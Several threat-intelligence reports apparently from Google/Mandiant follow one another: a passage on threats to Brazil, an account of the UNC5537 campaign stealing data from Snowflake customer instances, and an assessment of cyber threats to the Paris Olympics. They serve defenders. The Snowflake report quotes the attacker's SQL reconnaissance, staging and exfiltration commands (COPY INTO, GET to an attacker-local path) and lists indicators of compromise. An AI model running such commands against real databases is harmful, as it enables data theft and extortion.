One of the emerging trends we are witnessing globally from North Korean threat activity today is the insider threat posed by North Korean nationals gaining employment surreptitiously at corporations to conduct work in various IT roles. Though we have not yet observed direct connections between any of these North Korean IT workers and Brazilian enterprises, we note the potential for it to present a future risk given the growing startup ecosystem in Brazil, historical activity by North Korean threat actors in Brazil, and expansiveness of this problem. 

Diminished Activity From Russia Since Start of Ukraine War

Activity by Russian government-backed groups targeting Brazil has diminished significantly since the start of the war in Ukraine. Of the seven Russia-backed groups observed targeting Brazil, over 95% of the phishing activity targeting users in Brazil comes from one group, APT28 (aka FROZENLAKE). APT28’s targeting of Brazil dates back more than a decade, and Brazilian users have regularly been a target in the group’s frequent phishing campaigns. In late 2021, more than 200 Brazil-based users were targeted in large scale phishing campaigns by APT28. In those campaigns, which took place over several days between September and October 2021, APT28 sent credential phishing emails to over 14K recipients globally. Following late 2021, Russian groups have not targeted Brazil on a regular basis - a shift likely due at least in part to Russia’s efforts to prioritize cyber operations focused on Ukraine and NATO.

Brazil’s Unique Cybercrime Ecosystem

Financially motivated threat activity represents a constant, serious threat to users and organizations in Brazil. Notably, we have observed a variety of operations, including ransomware and data theft extortion as well as underground forum and social media advertisements for access to malicious insiders, databases, sensitive information, and specialized tools to compromise Brazilian users and institutions. 

Although cybercriminal actors focused on financial gain represent a transnational threat and emanate from all corners of the globe, particular communities sometimes spring up with more localized characteristics. For example, Russian-language only forums in the eastern European underground market ecosystem shape the flow of malware, data offered for sale, and formation of criminal relationships. Similarly in Brazil, Brazilian Portuguese-specific cybercriminal communities enable a localized and domestic threat. 

Brazilian Cybercrime Communities 

Mandiant’s insights into advertisements and discussions within Brazilian Portuguese-language underground marketplace over the past year illustrate that these actors have access to a variety of malicious tools and products, including the compromise and sale of payment card data, credentials, and sensitive databases; phishing; development and sale of remote access trojans (RATs); insider access; and mobile threats. 

Notably, these actors rely significantly less on traditional underground forums, which are the most common platforms used in other regions, and tend to rely on alternatives such as mobile apps and social media, particularly Telegram and WhatsApp. 

In general, the technical capability of actors engaged in cybercrime activity is generally low to moderate relative to underground communities in other regions. Consistent with past trends, we continue to see threat actors from Latin American underground communities primarily advertise products designed to target their own region. Notably, more experienced members of Brazilian Portuguese-language cybercrime underground often appear willing to teach and mentor less skilled and/or new actors. While some actors charge for this, others offer this help and support for free. Teaching less experienced members for free can help the mentor improve their reputation, grow their group's membership, and demonstrate their own skills and knowledge.

Malware Targeting PIX Interbank Transfer System 

We have observed Latin American-based threat actors leverage and target country-specific payment platforms, either to facilitate sales of services or to target payment information from victims. In the case of Brazil, such activity has focused on Pix, an instant payment platform created and managed by the Brazilian Central Bank. Pix enables instant payments and transfers between bank accounts within seconds using a key, and it is one of the most common methods of payment in Brazil. 

Open source reporting indicates threat actors as recently as late 2023 were involved in distributing malware called “GoPix” to specifically targeted Pix users via malicious advertisement techniques or “malvertising.” The reported functionality of this malware includes the ability to hijack clipboard functionality for Pix or cryptocurrency transactions, replacing the Pix string or wallet address with one controlled by the attacker. 

UNC5176 Distributes URSA Malware 

Another group that has historically targeted users and enterprises across Latin America, is UNC5176, a suspected Brazil-based threat cluster that distributes malware targeting users of Latin American and Spanish banks, including in Brazil. In late April, Mandiant observed an UNC5176 campaign distributing URSA to victim organizations in sectors such as financial services, healthcare, retail, and hospitality. In this recent campaign Mandiant did not observe targeting of entities in Brazil. URSA is a backdoor that is capable of stealing login credentials for various banks, cryptocurrency websites, and email clients. UNC5176 uses emails and malvertising campaigns to compromise users, typically delivering emails that have a ZIP file attached that contains a malicious HTA file. When opened, these HTA files drop a VBS file that connects to a C2 and downloads a second stage VBS file. The downloaded VBS file contains guardrails including anti-VM/Sandbox and OS language checks, if the checks are passed it initiates connections to the C2 and an URSA payload is downloaded and executed.

Beyond Borders: Multifaceted Extortion’s Impact on Brazil 

While many of the financially motivated cyber threats impacting Brazil originate domestically, Brazil also faces global risks such as ransomware and data theft as a means of extortion. While the most prolific multifaceted extortion campaigns continue to focus on North America and Europe, these threat actors have also exploited Brazil. For example, based on analysis of alleged victims listed on Ransomware as a Service (RAAS) RANSOMHUB's data leak site, their second most targeted country based on listed victims is Brazil, after the United States. RANSOMHUB’s ransomware operations have impacted organizations across multiple geographic regions and spanning almost every industry vertical. Since January 2023, across data leak sites (DLS) that Mandiant tracks, for enterprises based in Brazil, the top most targeted verticals were technology, healthcare, and financial services.

Impersonating Official Government Services to Distribute Malware 

Malware distribution campaigns targeting Brazilians frequently use tax and finance-themed lures to convince recipients to open malicious links or files. One financially motivated group we track, PINEAPPLE, regularly masquerades as Brazil’s revenue service, Receita Federal do Brasil, in spam campaigns that attempt to convince users to install the Astaroth infostealer. The overwhelming majority of these campaigns were blocked on arrival for Gmail and Workspace users. The campaigns often spoof Receita Federal’s legitimate email address, receita@gov[.]br, and use different techniques to convince email gateways the email is authentic - for example, using mail forwarding services, which do not drop messages with failed SPF records, or placing unexpected data in the SMTP Return-Path field to trigger a DNS request timeout and cause SPF email authentication checks to fail. 

In one recent campaign blocked by Gmail, PINEAPPLE’s spam emails impersonated Brazil’s finance ministry and directed recipients to a social engineering page that mimicked the Brazilian government’s electronic tax document system (Portal da Nota Fiscal Eletrônica). The site directed visitors to click a button to view an electronic tax document generated by the system. If clicked, the link directed users to an LNK payload hosted on an attacker-controlled IP address. In a likely effort to evade detection, the attackers incorporated multiple legitimate services into the campaign. Links on the social engineering site used the ms-search:// protocol to direct users to the attackers’ IP address, and threat actors hosted their site on GCP Cloud Run. Google disabled the malicious Cloud Run site and suspended the associated GCP project.

Social engineering page impersonating the Brazilian government’s electronic tax document system (Portal da Nota Fiscal Eletrônica)

Abusing Legitimate Cloud Services to Distribute Astaroth Infostealer

PINEAPPLE often abuses legitimate cloud services in their attempts to distribute malware to users in Brazil. The group has experimented with a number of cloud platforms, including Google Cloud, Amazon AWS, Microsoft Azure and others. 

In 2023, teams across Google worked together to disrupt PINEAPPLE’s misuse of Google Cloud Run and Cloud Functions. In those campaigns, PINEAPPLE used compromised Google Cloud instances and Google Cloud projects they created themselves to create their own Google Cloud container URLs hosted on legitimate GCP domains such as cloudfunctions.net and run.app. The URLs hosted landing pages that then redirected targets to malicious infrastructure that dropped the Astaroth infostealer. Upon discovery, Google disabled the malicious Cloud Run and Cloud Functions sites and suspended the associated GCP projects. We also increased our detection and response coverage and implemented product level security improvements to significantly increase the difficulty of our platforms being used by this threat actor. These mitigation measures reduced the volume of the Astaroth campaigns by 99% compared to the campaign’s peak. 

PINEAPPLE reacts quickly and iteratively adapts their TTPs in response to new detections. Following the disruption of their scaled abuse campaigns, PINEAPPLE’s abuse of Cloud Run has continued intermittently at lower volumes. The group has also experimented with other cloud services, including Google Compute Engine. Similar to their past campaigns, PINEAPPLE distributed malicious links via email. The GCE links were configured to serve an unencrypted archive such as a ZIP, LNK, or other, lesser known file types. Google Cloud Trust & Safety suspended PINEAPPLE’s attacker-operated GCP projects. Shortly thereafter, the group began experimenting with other cloud platforms including Microsoft and Tencent. 

Recent PINEAPPLE campaigns in May and June 2024 continued to spoof Receita Federal and hosted landing pages on dedicated virtual servers created through GoDaddy’s reverse IP hostname service. In other recent cases, PINEAPPLE has used mail forwarding services to send emails that appear to come from WhatsApp. We continue to monitor their campaigns and regularly update Google’s protections to ensure users are protected. 

Credential Phishing 

Credential phishing is also a common threat affecting users and organizations in Brazil. In 2023, for example, Google disrupted phishing activity hosted on GCP serverless projects that were being used to harvest credentials for one of Latin America's largest online payment platforms. The pages were operated by Latin America-based financially motivated actor, FLUXROOT, a group best known for their distribution of the Grandoreiro banking malware. Upon discovering the FLUXROOT sites, we updated detection signatures and added the sites to the Safe Browsing blocklist. More recently, FLUXROOT has continued distribution of Grandoreiro, using cloud services such as Azure and Dropbox to serve the malware.

Credential harvesting page hosted on GCP serverless project

Conclusion

As Brazil continues to grow in economic and geopolitical significance, it will remain an attractive target for threat actors driven by diverse motivations. The country’s digital landscape is a complex arena, developed and expanded over the years by a convergence of both global and local threats. Global cyber espionage actors from North Korea, the People’s Republic of China (PRC), and Russia as well as multinational cybercriminals pose longstanding threats, and Brazil's domestic cybercriminal market remains a persistent challenge–increasing the complexities of this dynamic landscape.To effectively safeguard Brazilian enterprises and users, it is important to understand this unique interplay of threats and adopt a proactive approach to cybersecurity.

We hope the analysis and research here helps to inform defenders in Brazil, providing fresh insights for collective defense. At Google, we are committed to supporting the safety and security of online users everywhere and will continue to take action to disrupt malicious activity to protect our users and help make the Internet safe for all.

Indicators of Compromise (IOCs) Host-Based Indicators (HBIs)

Filename

SHA256

Description

Question Sheet.pdf

e9841e5c218611add64c07b6d6e8b2f2
a899ee32da2bb0326238b332f34bd045

Benign PDF delivered in PUKCHONG social engineering activity targeting cryptocurrency firms

0tiukr.verdelimp.com518.429006.
45528.lnk

38fad88f0fefb385fdfba2e0be28a1fe6
302387bc4a0a9f8b010cca09836361d

Malicious LNK dropped in PINEAPPLE campaigns

NFe92759625212697.115112.
62531.lnk

57a0a64ff7d5ca462fe18857f552ab186
d118a80ecad741be62ee16e500ac424

Malicious LNK dropped in PINEAPPLE campaigns

UPDATE (June 17): We have released our Snowflake threat hunting guide, which contains guidance and queries for detecting abnormal and malicious activity across Snowflake customer database instances. Default retention policies for the relevant views enable threat hunting across the past 1 year (365 days).

Introduction

Through the course of our incident response engagements and threat intelligence collections, Mandiant has identified a threat campaign targeting Snowflake customer database instances with the intent of data theft and extortion. Snowflake is a multi-cloud data warehousing platform used to store and analyze large amounts of structured and unstructured data. Mandiant tracks this cluster of activity as UNC5537, a financially motivated threat actor suspected to have stolen a significant volume of records from Snowflake customer environments. UNC5537 is systematically compromising Snowflake customer instances using stolen customer credentials, advertising victim data for sale on cybercrime forums, and attempting to extort many of the victims.

Mandiant's investigation has not found any evidence to suggest that unauthorized access to Snowflake customer accounts stemmed from a breach of Snowflake's enterprise environment. Instead, every incident Mandiant responded to associated with this campaign was traced back to compromised customer credentials.

In April 2024, Mandiant received threat intelligence on database records that were subsequently determined to have originated from a victim’s Snowflake instance. Mandiant notified the victim, who then engaged Mandiant to investigate suspected data theft involving their Snowflake instance. During this investigation, Mandiant determined that the organization’s Snowflake instance had been compromised by a threat actor using credentials previously stolen via infostealer malware. The threat actor used these stolen credentials to access the customer’s Snowflake instance and ultimately exfiltrate valuable data. At the time of the compromise, the account did not have multi-factor authentication (MFA) enabled.

On May 22, 2024 upon obtaining additional intelligence identifying a broader campaign targeting additional Snowflake customer instances, Mandiant immediately contacted Snowflake and began notifying potential victims through our Victim Notification Program. To date, Mandiant and Snowflake have notified approximately 165 potentially exposed organizations. Snowflake’s Customer Support has been directly engaged with these customers to ensure the safety of their accounts and data. Mandiant and Snowflake have been conducting a joint investigation into this ongoing threat campaign and coordinating with relevant law enforcement agencies. On May 30, 2024, Snowflake published detailed detection and hardening guidance to Snowflake customers.

Campaign Overview

Based on our investigations to date, UNC5537 obtained access to multiple organizations’ Snowflake customer instances via stolen customer credentials. These credentials were primarily obtained from multiple infostealer malware campaigns that infected non-Snowflake owned systems. This allowed the threat actor to gain access to the affected customer accounts and led to the export of a significant volume of customer data from the respective Snowflake customer instances. The threat actor has subsequently begun to extort many of the victims directly and is actively attempting to sell the stolen customer data on recognized cybercriminal forums.

Mandiant identified that the majority of the credentials used by UNC5537 were available from historical infostealer infections, some of which dated as far back as 2020.

The threat campaign conducted by UNC5537 has resulted in numerous successful compromises due to three primary factors:

1. The impacted accounts were not configured with multi-factor authentication enabled, meaning successful authentication only required a valid username and password.
2. Credentials identified in infostealer malware output were still valid, in some cases years after they were stolen, and had not been rotated or updated.
3. The impacted Snowflake customer instances did not have network allow lists in place to only allow access from trusted locations.

UNC5537 Campaign Timeline  Credential Exposure

Mandiant identified that the threat actor used Snowflake customer credentials that were previously exposed via several infostealer malware variants, including; VIDAR, RISEPRO, REDLINE, RACOON STEALER, LUMMA and METASTEALER. For the organizations that directly engaged Mandiant for incident response services, Mandiant determined the root cause of their Snowflake instance compromise was exposed credentials. Further, according to Mandiant and Snowflake’s analysis, at least 79.7% of the accounts leveraged by the threat actor in this campaign had prior credential exposure. 

The earliest infostealer infection date observed associated with a credential leveraged by the threat actor dated back to November 2020. In total, Mandiant identified hundreds of customer Snowflake credentials exposed via infostealers since 2020. 

Stolen credentials pose a serious security risk to organizations and were the fourth most notable initial intrusion vector in 2023, as 10% of intrusions began with stolen credentials. Attackers often obtain credentials due to password reuse or users inadvertently downloading trojanized software on corporate or personal devices. The prevalence of both widespread infostealer malware and credential purchasing continue to challenge defenders.

Contractor Accounts

In several Snowflake related investigations, Mandiant observed that the initial compromise of infostealer malware occurred on contractor systems that were also used for personal activities, including gaming and downloads of pirated software. 

Contractors that customers engage to assist with their use of Snowflake may utilize personal and/or non-monitored laptops that exacerbate this initial entry vector. These devices, often used to access the systems of multiple organizations, present a significant risk. If compromised by infostealer malware, a single contractor's laptop can facilitate threat actor access across multiple organizations, often with IT and administrator-level privileges. 

Reconnaissance 

Initial access to Snowflake customer instances often occurred via the native web-based UI (SnowFlake UI AKA SnowSight) and/or command-line interface (CLI) tool (SnowSQL) running on Windows Server 2022. Mandiant identified additional access leveraging an attacker-named utility, “rapeflake”, which Mandiant tracks as FROSTBITE. 

While Mandiant has not yet recovered a complete sample of FROSTBITE, Mandiant assesses FROSTBITE is used to perform reconnaissance against target Snowflake instances. Mandiant observed usage of both .NET and Java versions of FROSTBITE. The .NET version interacts with the Snowflake .NET driver. The JAVA version interacts with the Snowflake JDBC driver. FROSTBITE has been observed performing SQL recon activities including listing users, current roles, current IPs, session IDs, and organization names. Mandiant also observed UNC5537 use a publicly available database management utility DBeaver Ultimate to connect and run queries across Snowflake instances.

Example FROSTBITE Snowflake Log Entry Deployment: <REDACTED> | Account ID: <REDACTED> | Account Name: <REDACTED> | User Name: <REDACTED> | Client IP: 45.27.26.205 | Client App ID: PythonConnector 3.10.1 | Client App Version: 3.10.1 | Client Environment: {\n "APPLICATION": "rapeflake",\n "LOGIN_TIMEOUT": null,\n "NETWORK_TIMEOUT": null,\n "OCSP_MODE": "FAIL_OPEN",\n "OS": "Darwin",\n "OS_VERSION": "macOS-13.6.7-arm64-arm-64bit",\n "PYTHON_COMPILER": "Clang 14.0.3 (clang-1403.0.22.14.1)",\n "PYTHON_RUNTIME": "CPython",\n "PYTHON_VERSION": "3.11.4",\n "SOCKET_TIMEOUT": null,\n "TRACING": 30\n} (2024/05/31 20:10:13) Example DBeaver Ultimate Snowflake Log Entry Deployment Query: Sessions | Deployment: <REDACTED> | Account ID: <REDACTED> | Account Name: <REDACTED> | User Name: <REDACTED> | Client IP: 37.19.210.21 | Client App ID: JDBC 3.13.30 | Client App Version: 3.13.30 | Client Environment: {\n "APPLICATION": "DBeaver_DBeaverUltimate",\n "JAVA_RUNTIME": "Java(TM) SE Runtime Environment",\n "JAVA_VERSION": "17.0.10",\n "JAVA_VM": "Java HotSpot(TM) 64-Bit Server VM",\n "OCSP_MODE": "FAIL_OPEN",\n "OS": "Windows Server 2022",\n "OS_VERSION": "10.0",\n "account": "<REDACTED>",\n "application": "DBeaver_DBeaverUltimate",\n "database": "<REDACTED>",\n "password": "****",\n "schema": "<REDACTED>",\n "serverURL": "https://<REDACTED>.snowflakecomputing.com:443/",\n "tracing": "INFO",\n "user": "<REDACTED>",\n "warehouse": "<REDACTED>"\n} (2024/04/14 10:04:10) Complete Mission

Mandiant observed UNC5537 repeatedly executing similar SQL commands across numerous customer Snowflake instances to stage and exfiltrate data. The following commands were observed for data staging and exfiltration.

SHOW TABLES

UNC5537 utilized the SHOW TABLES command to perform reconnaissance, listing out all databases and associated tables present across the impacted customer environments.

SHOW TABLES SELECT * FROM 

UNC5537 utilized the SELECT command to download individual tables of threat actor interest.

SELECT * FROM <Target Database>.<Target Schema>.<Target Table> LIST/LS

UNC5537 attempted to enumerate other stages using the LIST command prior to creating temporary stages.

ls <internal or external stage name> CREATE (TEMP|TEMPORARY) STAGE

UNC5537 created temporary stages for data staging using the CREATE STAGE command. Stages are named tables that store data files for loading and unloading into database tables. If the stage is identified as temporary on creation, the stage is deleted once the creator’s current Snowflake session ends.

CREATE TEMPORARY STAGE <Redacted Database>.<Redacted Schema>. <Redacted Attacker Stage Name>; COPY INTO

UNC5537 utilized the COPY INTO command to copy data into the previously created temporary stages, shown as follows. The COPY INTO command can be used to copy information to/from internal stages, external stages tied to cloud services, and internal Snowflake tables. The threat actor was seen compressing the results as a GZIP file using the COMPRESSION parameter to reduce the overall size of data before exfiltration.

COPY INTO @<Attacker Stage and Path> FROM (select * FROM <Target Database>.<Target Schema>.<Target Table> ) FILE_FORMAT = ( TYPE='CSV' COMPRESSION=GZIP FIELD_DELIMITER=',' ESCAPE=NONE ESCAPE_UNENCLOSED_FIELD=NONE date_format='AUTO' time_format='AUTO' timestamp_format='AUTO' binary_format='UTF-8' field_optionally_enclosed_by='"' null_if='' EMPTY_FIELD_AS_NULL = FALSE ) overwrite=TRUE single=FALSE max_file_size=5368709120 header=TRUE; GET

Finally, UNC5537 utilized the GET command to exfiltrate data from the temporary stages to locally specified directories.

GET @<target stage and filepath> file:///<Attacker Local Machine Path>; UNC5537 Attribution

Mandiant has been tracking UNC5537, a financially motivated threat actor, as a distinct cluster since May 2024. UNC5537 has targeted hundreds of organizations worldwide, and frequently extorts victims for financial gain. UNC5537 operates under various aliases on Telegram channels and cybercrime forums. Mandiant has identified members having associations to other tracked groups. Mandiant assesses with moderate confidence that UNC5537 comprises members based in North America, and collaborates with an additional member in Turkey.

Attacker Infrastructure

UNC5537 primarily used Mullvad or Private Internet Access (PIA) VPN IP addresses to access victim Snowflake instances. When exfiltrating data, Mandiant observed the use of VPS systems from ALEXHOST SRL (AS200019), a Moldovan provider. UNC5537 was observed storing stolen victim data on several international VPS providers as well as the cloud storage provider MEGA.  

Outlook & Implications

UNC5537’s campaign against Snowflake customer instances is not the result of any particularly novel or sophisticated tool, technique, or procedure. This campaign’s broad impact is the consequence of the growing infostealer marketplace and missed opportunities to further secure credentials:

• UNC5537 was likely able to aggregate credentials for Snowflake victim instances by accessing a variety of different sources of infostealer logs. The underground infostealer economy is also extremely robust, and large lists of stolen credentials exist both for free and for purchase inside and outside of the dark web.
• The affected customer instances did not require multi-factor authentication and in many cases, the credentials had not been rotated for as long as four years. Network allow lists were also not used to limit access to trusted locations.

This campaign highlights the consequences of vast amounts of credentials circulating on the infostealer marketplace and may be representative of a specific focus by threat actors on similar SaaS platforms. Mandiant assesses UNC5537 will continue this pattern of intrusion, targeting additional SaaS platforms in the near future.

The broad impact of this campaign underscores the urgent need for credential monitoring, the universal enforcement of MFA and secure authentication, limiting traffic to trusted locations for crown jewels, and alerting on abnormal access attempts. For further recommendations on how to harden Snowflake environments, please see Snowflake’s Hardening Guide.

Indicators of Compromise (IOCs) Google Threat Intelligence Collection of IPs

A Google Threat Intelligence Collection of IPs is available.

Client Application IDS

• Rapeflake
• DBeaver_DBeaverUltimate
• Go 1.1.5
• JDBC 3.13.30
• JDBC 3.15.0
• PythonConnector 2.7.6
• SnowSQL 1.2.32
• Snowflake UI 
• Snowsight Al

Additional IOCs are available in Snowflake’s updated blog post.

Written by: Michelle Cantos, Jamie Collier

 

Executive Summary 

• Mandiant assesses with high confidence that the Paris Olympics faces an elevated risk of cyber threat activity, including cyber espionage, disruptive and destructive operations, financially-motivated activity, hacktivism, and information operations. 
• Olympics-related cyber threats could realistically impact various targets including event organizers and sponsors, ticketing systems, Paris infrastructure, and athletes and spectators traveling to the event. 
• Mandiant assesses with high confidence that Russian threat groups pose the highest risk to the Olympics. While China, Iran, and North Korea state sponsored actors also pose a moderate to low risk.
• To reduce the risk of cyber threats associated with the Paris Olympics, organizations should update their threat profiles, conduct security awareness training, and consider travel-related cyber risks.
• The security community is better prepared for the cyber threats facing the Paris Olympics than it has been for previous Games, thanks to the insights gained from past events. While some entities may face unfamiliar state-sponsored threats, many of the cybercriminal threats will be familiar. While the technical disruption caused by hacktivism and information operations is often temporary, these operations can have an outsized impact during high-profile events with a global audience.

Introduction 

The 2024 Summer Olympics taking place in Paris, France between July and August creates opportunities for a range of cyber threat actors to pursue profit, notoriety, and intelligence. For organizations involved in the event, understanding relevant threats is key to developing a resilient security posture. Defenders should prepare against a variety of threats that will likely be interested in targeting the Games for different reasons: 

• Cyber espionage groups are likely to target the 2024 Olympics for information gathering purposes, due to the volume of government officials and senior decision makers attending.
• Disruptive and destructive operations could potentially target the Games to cause negative psychological effects and reputational damage. This type of activity could take the form of website defacements, distributed denial of service (DDoS) attacks, the deployment of wiper malware, and operational technology (OT) targeting. As a high profile, large-scale sporting event with a global audience, the Olympics represents an ideal stage for such operations given that the impact of any disruption would be significantly magnified. 
• Information operations will likely leverage interest in the Olympics to spread narratives and disinformation to target audiences. In some cases, threat actors may leverage disruptive and destructive attacks to amplify the spread of particular narratives in hybrid operations.
• Financially-motivated actors are likely to target the Olympics in various ways, including ticket scams, theft of PII, and extortion against entities during a period of heightened pressure. Capitalizing on interest in the games, threat actors are likely to use olympics-related lures in social engineering operations that are not necessarily targeting the games.

Figure 1: Potential threats to the 2024 Summer Olympics

Olympics-related cyber operations could impact a variety of entities. For some organizations involved in the Games such as sponsors, this could expose them to state-sponsored actors and destructive campaigns that are not typically active in their sectors. Other threats, such as cybercrime and extortion operations, will be more familiar, yet will likely become more prolific and persistent against entities involved in the Games.

Figure 2: Potential targets of Olympic-related operations

State Sponsored Threat Activity 

State-sponsored threats pose the most significant, high severity threat to the Summer 2024 Olympics. Mandiant assesses with high confidence that Russia poses the most severe threat to the Olympics given its repeated targeting of previous Olympic games, its tense relationship with Europe, and recent pro-Russia information operations having already targeted France. Other state-sponsored actors, such as those from China, Iran, and North Korea also pose a risk, albeit to a lesser extent.

Russia 

Russian state-sponsored cyber threat activity poses the greatest risk to the Olympics. In addition to intelligence collection activities, Russian operators have demonstrated the capability and willingness to conduct destructive campaigns targeting past Olympics events and hybrid operations in which intrusions support influence campaigns. Mandiant has observed Russian espionage actors conduct cyber threat activity against previous iterations of the Olympic games, disrupting the event itself and undermining the safety and security of organizations related to the Olympics. France may face an elevated risk of Russian cyber threat activity given the country’s financial and military support for Ukraine after Russia’s invasion in February 2022. 

While Russian athletes can compete in the Olympics this year, they will not represent their home country, are unable to participate in the opening ceremony, and must compete as neutral athletes. Russia’s perceived grievances at its athletes being once again banned from competing under the Russian flag elevate the threat from Russian cyber attacks compared to other states.

Based on a well-documented history of targeting past Games, Mandiant assesses with high confidence that out of the Russian threat actors we track, APT44 is most likely to target the upcoming games, and the most likely to conduct impactful disruptive, destructive, or hybrid operations in addition to intelligence collection.

Figure 3: Significant Russian Operations Targeting Past Olympic Games

APT44 Android Malware Campaign Targeting Users in South Korea Before 2018 Winter Games in PyeongChang 

Beginning in late 2017, APT44 (alias FROZENBARENTS) targeted organizations involved in Olympic activities in South Korea. The activity included credential phishing, and distribution of Windows,MacOS, and Android malware. In the Android campaign, APT44 obtained legitimate copies of Android applications popular in South Korea, modified them to add a custom mobile implant, and then published the trojanized apps to the Play Store. The implant, CHEMISTGAMES, was a modular framework designed for gathering data at scale, and included significant automation, abstraction, and specialization for mobile devices. The modular structure of CHEMISTGAMES ensured that the attackers could hide sensitive payloads and reserve them for specific targeted devices.

Figure 4: Prior to the Olympics, APT44 modified Android apps popular in South Korea, including a bus timetable app and an app for checking apartment rental prices

Google’s Threat Analysis Group (TAG) discovered the Android campaign, developed signatures to protect user devices and block the malware on Play, and banned attacker-controlled developer accounts. Those detections protected users in other APT44 campaigns that attempted to infect users with CHEMISTGAMES, including an attempt to target Ukrainians with a fake webmail app, and domestically-focused campaigns targeting Russian businesses.

Mandiant suggests that UNC4057 (aka COLDRIVER) also poses a risk, despite no previously observed targeting of the Games. The group has conducted both cyber espionage and information operations activity in support of Russia, collecting personally identifiable information (PII) via credential harvesting operations that may support the nation’s strategic intelligence priorities, and performing hack-and leak-campaigns to sow discontent in the UK in 2022. This activity cluster may target French organizations affiliated with the games and high profile individuals from NATO member countries who may be in attendance.

China 

Mandiant Intelligence assesses with moderate confidence that People's Republic of China (PRC) sponsored threats pose a moderate risk to the 2024 Paris Olympics. We suggest that APT31, APT15, UNC4713, and TEMP.Hex are most likely to target organizations and individuals related to the event given previous targeting of governments as well as civil society and non-profits in Europe. High profile government officials and senior decision makers attending the event will likely be an attractive target for PRC state sponsored threat actors seeking PII, credentials, or other sensitive information to support their national interests. This creates a heightened risk of spearphishing, credential harvesting, and intelligence collection operations. 

While PRC espionage operators have demonstrated a capability and willingness to target operational technology systems, it is unlikely they will leverage destructive or disruptive campaigns targeting the Summer Olympics.

Iran

Mandiant Intelligence assesses with moderate confidence that Iranian state sponsored threats, primarily APT42, represent a moderate to low threat to the 2024 Summer Olympics. We have observed APT42 compromise civil society and non-profit organizations and government entities throughout Europe. Iranian threat actors may leverage the Games, either using the Olympics as lure material or targeting attendees themselves, to support campaigns against these industry verticals. Notably the ongoing conflict in Gaza may impact the frequency and tempo of Iranian intelligence-gathering and information operations activity in the short- to mid-term, with Iranian actors increasing their operations in Israel.

North Korea

Mandiant Intelligence assesses with moderate confidence that North Korean threat actors pose a low threat to the 2024 Summer Olympics. APT43 might leverage information surrounding the Games as lure material for financially motivated operations or potentially as material for social engineering campaigns to build rapport with targets.

Information Operations & Hacktivism 

The high profile nature of the Olympics makes the event a popular target for hacktivism and information operations that could capitalize on interest in the Games to conduct high profile operations. Although hacktivists may have limited resources and capabilities, a well-timed disruption could achieve their goals. 

Whilst Pro-Russia information operations could be the most prominent ones using Olympics-themed content, campaigns promoting the interests of PRC and Belarus may also use interest in the event to promote various narratives. Hacktivist and information operations actors share many tactics, techniques and procedures, and these groups could also create new personas specifically for their activity related to the Olympics. 

Russia

Mandiant Intelligence assesses with high confidence that pro-Russian information operations will pose a frequent, moderate severity threat to the Summer 2024 Olympic Games. We have observed information operations promoting pro-Russia, anti-Ukraine, and anti-Western narratives leveraging the Olympics due to the popularity of the Games. Additionally political retribution for France’s pro-Ukraine stance and Russia’s ban from competing at the games under their flag may drive information operations activity promoting Russian interests. 

• In February 2024 the French Foreign Ministry accused Russia of conducting widespread disinformation campaigns to disrupt the upcoming general election and the Olympics in retaliation for France’s support of Ukraine after Russia’s invasion in February 2022. 
• In April 2024 at the opening of an Olympic swimming venue, French President Emmanuel Macron accused Russia of conducting an online disinformation campaign undermining the safety and security of the upcoming games. Mandiant Intelligence has independently observed pro-Russia activity from campaigns that we track, which appears to be consistent with these claims. 

Several pro-Russia hacktivist groups have targeted entities throughout Europe and pose a viable threat to the Summer Olympics, including: Anonymous Sudan, Cyber Army of Russia Reborn, NoName057(16), UserSec, and Server Killers. We judge the threat from pro-Russia hacktivists to be particularly elevated because a number of these groups have publicized destructive attacks or data leaks from Russian state sponsored intrusion activity. Several groups have also demonstrated the ability to disrupt high profile targets with DDoS attacks.

Case Study: Doppelganger

Mandiant Intelligence has observed a network of inauthentic domains and social media accounts across multiple platforms, which we attributed to the pro-Russian information operations campaign publicly referred to as "Doppelganger". These domains have promoted political content in English, German, French, and Italian and circulated narratives aligned with Russian strategic interests, including those related to the Russian invasion of Ukraine. 

• Mandiant has observed some narratives targeting the upcoming 2024 Paris Olympics promoted by Doppelganger domains. This has included articles promoting narratives that generally implied that France was not prepared as a host, as well as those that appeared intended to frame the French Government as inadequately prepared for the security risks potentially surrounding the games—particularly those related to Islamic extremism (Figure 3).
• In March 2024 the U.S. Department of Treasury announced sanctions against two individuals and two organizations associated with a Russian information operations campaign which posed as European government entities and media outlets to distribute inauthentic, pro-Russian narratives to European audiences. This activity aligns with the coordinated inauthentic networks of threat activity used by the Doppelganger campaign.

Figure 5: Example of an Olympics-related article published by a Doppelganger affiliated domain

China

PRC information operations will likely leverage Olympic-themed narratives to promote pro-PRC and anti-Western ideologies. Additionally, we anticipate pro-PRC information operations campaigns will likely use the doping scandal surrounding the PRC’s swim team as part of their operations to highlight anti-PRC or pro-Western biases. 

There is precedent for pro-PRC campaigns commenting on past Olympics. 

• Rolling Stone highlighted a PRC-linked operation that masqueraded as a European news outlet "New Europe Observation" to foment discord in European populations using controversial topics such as immigration and the boycott of the Beijing Olympics in 2022. This operation attempted to hire "astroturf" protesters to participate in offline demonstrations and engaged native speakers of English, Russian, and other languages.
• In late 2021 and early 2022, Mandiant Intelligence identified social media accounts that we judge to be part of a pro-PRC information operations campaign dubbed “DRAGONBRIDGE” critiquing the U.S. decision to boycott the 2022 Winter Olympics in Beijing. 
• ProPublica highlighted how pro-PRC information operations leveraged bots to promote false narratives surrounding Beijing’s 2022 Olympic Winter Games. 

Belarus

Mandiant identified UNC1151 and Ghostwriter activity in December 2021 promoting the narrative that Lithuania would boycott the 2022 Beijing Winter Olympics. Lithuania remains a frequent target for Ghostwriter operations and this likely was an opportunity to cause internal unrest leveraging a topical event. 

Financially-Motivated Threat Activity

Mandiant Intelligence assesses with moderate confidence that financially motivated actors pose a moderate severity threat to the 2024 Summer Olympics. The amount of financial transactions conducted at the games will likely be an attractive target for malicious actors seeking profit with minimal effort. Cybercrime will likely be opportunistic in nature with the main risks including:

• Ransomware and extortion operations have a tendency to target organizations during high-pressure moments, including the hosting of major events. Listings from data leak sites over the last year indicate that France is the fifth most impacted country by ransomware and data theft extortion activity. We observed listings for French organizations posted most frequently on sites for LOCKBIT, 8BASE (aka PHOBOS), NOESCAPE, MEDUSA, and ALPHV. It is also possible that cybercriminal groups that have not been historically active in France will increase their targeting against Olympic-related entities in the runup and during the Games. 
• Ticket scams often capitalize on interest in major sporting events to sell counterfeit tickets via fake ticket websites. The popularity of the games, growing demand for tickets, and the large amount of financial transactions occurring on third-party ticket platforms could make these systems an attractive target for cybercriminals.
